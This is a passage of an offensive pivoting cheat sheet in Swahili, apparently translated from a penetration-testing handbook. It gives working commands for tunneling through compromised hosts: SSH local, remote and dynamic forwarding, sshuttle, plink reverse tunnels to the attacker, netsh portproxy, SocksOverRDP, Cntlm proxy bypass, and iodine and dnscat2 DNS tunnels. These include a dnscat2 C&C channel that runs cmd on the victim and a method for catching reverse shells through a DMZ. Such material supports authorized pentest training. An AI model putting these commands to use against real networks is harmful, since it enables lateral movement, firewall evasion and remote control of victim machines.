Skan za ICMP na SYN haziwezi kuchimbwa kupitia proksi za socks, hivyo lazima zimezwe ugunduzi wa ping (-Pn) na kutaja skani za TCP (-sT) ili hii ifanye kazi.

SSH
Unganishaji wa picha wa SSH (X)
ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
Port2Port ya Ndani
Fungua Port Mpya kwenye Seva ya SSH --> Port Nyingine
ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere
ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere
Port2Port
Bandari ya ndani --> Mwenyeji aliyeathiriwa (SSH) --> Sanduku la tatu:Bandari
ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f] #This way the terminal is still in your host
#Example
sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
Port2hostnet (proxychains)
Port ya Mwenyeji --> Mwenyeji Aliyodhuriwa (SSH) --> Mahali Popote
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
Kusonga Mbele ya Port
Hii ni muhimu kupata mabakuli ya kurudi kutoka kwa wenyeji wa ndani kupitia eneo la DMZ hadi kwa mwenyeji wako:
ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
# Now you can send a rev to dmz_internal_ip:443 and caputure it in localhost:7000
# Note that port 443 must be open
# Also, remmeber to edit the /etc/ssh/sshd_config file on Ubuntu systems
# and change the line "GatewayPorts no" to "GatewayPorts yes"
# to be able to make ssh listen in non internal interfaces in the victim (443 in this case)
VPN-Tunnel
Unahitaji root kwenye vifaa vyote (kwa kuwa utaunda interfaces mpya) na sshd config lazima iruhusu kuingia kama root:
PermitRootLogin yes
PermitTunnel yes
ssh root@server -w any:any #This will create Tun interfaces in both devices
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
Wezesha uhamishaji upande wa Server
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
Weka njia mpya upande wa mteja
route add -net 10.0.0.0/16 gw 1.1.1.1
SSHUTTLE
Unaweza kutumia kivukio kupitia ssh kusafirisha trafiki yote kwenda kwenye mtandao wa sehemu kupitia mwenyeji.
Kwa mfano, kusafirisha trafiki yote inayoelekea kwenye 10.10.10.0/24
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
Hakikisha kuwa umeshaunganishwa kwa kutumia ufunguo wa kibinafsi.
sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa'
# -D : Daemon mode

SOCKS
SOCKS ni itifaki inayotumiwa kwa kusudi la kusafirisha data kupitia firewall ya mtandao. Inaweza kutumika kwa kuficha shughuli za mtumiaji na kufikia rasilimali zilizozuiliwa.

unganisha bandari ya SSH ya eneo (22) kwa bandari ya 443 ya mwenyeji wa mshambuliaji

Plink.exe
Ni kama toleo la PuTTY la kidhibiti (chaguo zake ni sawa sana na mteja wa ssh).
Kwa kuwa binary hii itatekelezwa kwa mhanga na ni mteja wa ssh, tunahitaji kufungua huduma yetu ya ssh na bandari ili tuweze kuwa na uunganisho wa nyuma. Kisha, kusonga bandari inayopatikana kwa urahisi tu kwenda kwa bandari kwenye mashine yetu:
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
Windows netsh
Port2Port
Unahitaji kuwa mtawala wa eneo (kwa bandari yoyote)
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
# Example:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444
# Check the port forward was created:
netsh interface portproxy show v4tov4
# Delete port forward
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
SocksOverRDP & Proxifier
Unahitaji kuwa na upatikanaji wa RDP kwenye mfumo.
Pakua:
- SocksOverRDP x64 Binaries - Zana hii hutumia
Dynamic Virtual Channels(DVC) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na kutuma pakiti kupitia uhusiano wa RDP. - Proxifier Portable Binary
Kwenye kompyuta yako ya mteja pakia SocksOverRDP-Plugin.dll kama hivi:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
Sasa tunaweza kuunganisha kwa muhanga kupitia RDP kwa kutumia mstsc.exe, na tunapaswa kupokea kitufe kikisema kuwa programu-jalizi ya SocksOverRDP imeanzishwa, na itakuwa ikisikiliza kwenye 127.0.0.1:1080.
Unge kupitia RDP na kupakia & kutekeleza kwenye mashine ya muhanga SocksOverRDP-Server.exe binary:
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza:
netstat -antb | findstr 1080
Sasa unaweza kutumia Proxifier kupitia trafiki kupitia bandari hiyo.
Proxify Windows GUI Apps
Unaweza kufanya programu za Windows GUI zinavigate kupitia proxi kwa kutumia Proxifier.
Katika Profile -> Proxy Servers ongeza IP na bandari ya seva ya SOCKS.
Katika Profile -> Proxification Rules ongeza jina la programu ya kufanya proxi na uhusiano kwa IPs unazotaka kufanya proxi.
NTLM proxy bypass
Zana iliyotajwa awali: Rpivot
OpenVPN pia inaweza kuipuuza, kwa kuweka chaguo hizi kwenye faili ya usanidi:
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
Cntlm
Inathibitisha dhidi ya proxi na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia zana unayopenda kupitia bandari hii.
Kwa mfano, inaelekeza bandari 443
Username Alice
Password P@ssw0rd
Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya SSH kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.
Unaweza pia kutumia meterpreter inayounganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222.
YARP
Proksi ya nyuma iliyoundwa na Microsoft. Unaweza kuipata hapa: https://github.com/microsoft/reverse-proxy
DNS Tunneling
Iodine
Root inahitajika kwenye mifumo yote kujenga viunganishi vya tun na kufanya data kati yao kutumia matakwa ya DNS.
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia:
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
DNSCat2
Inaanzisha njia ya C&C kupitia DNS. Haitaji mamlaka ya msingi.
attacker> ruby ./dnscat2.rb tunneldomain.com
victim> ./dnscat2 tunneldomain.com
# If using it in an internal network for a CTF:
attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache
victim> ./dnscat2 --dns host=10.10.10.10,port=5353
Kwa PowerShell
Unaweza kutumia dnscat2-powershell kufanya mteja wa dnscat2 kwenye powershell:
Import-Module .\dnscat2.ps1
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
Kusonga mbele kwa kutumia dnscat
session -i <sessions_id>
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
Badilisha DNS ya proxychains
Proxychains inakamata wito wa libc wa gethostbyname na kufanya ombi la DNS la tcp kupitia proxy ya socks. Kwa chaguo-msingi serveri ya DNS ambayo proxychains hutumia ni 4.2.2.2 (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: /usr/lib/proxychains3/proxyresolv na ubadilishe IP. Ikiwa uko katika mazingira ya Windows unaweza kuweka IP ya domain controller.
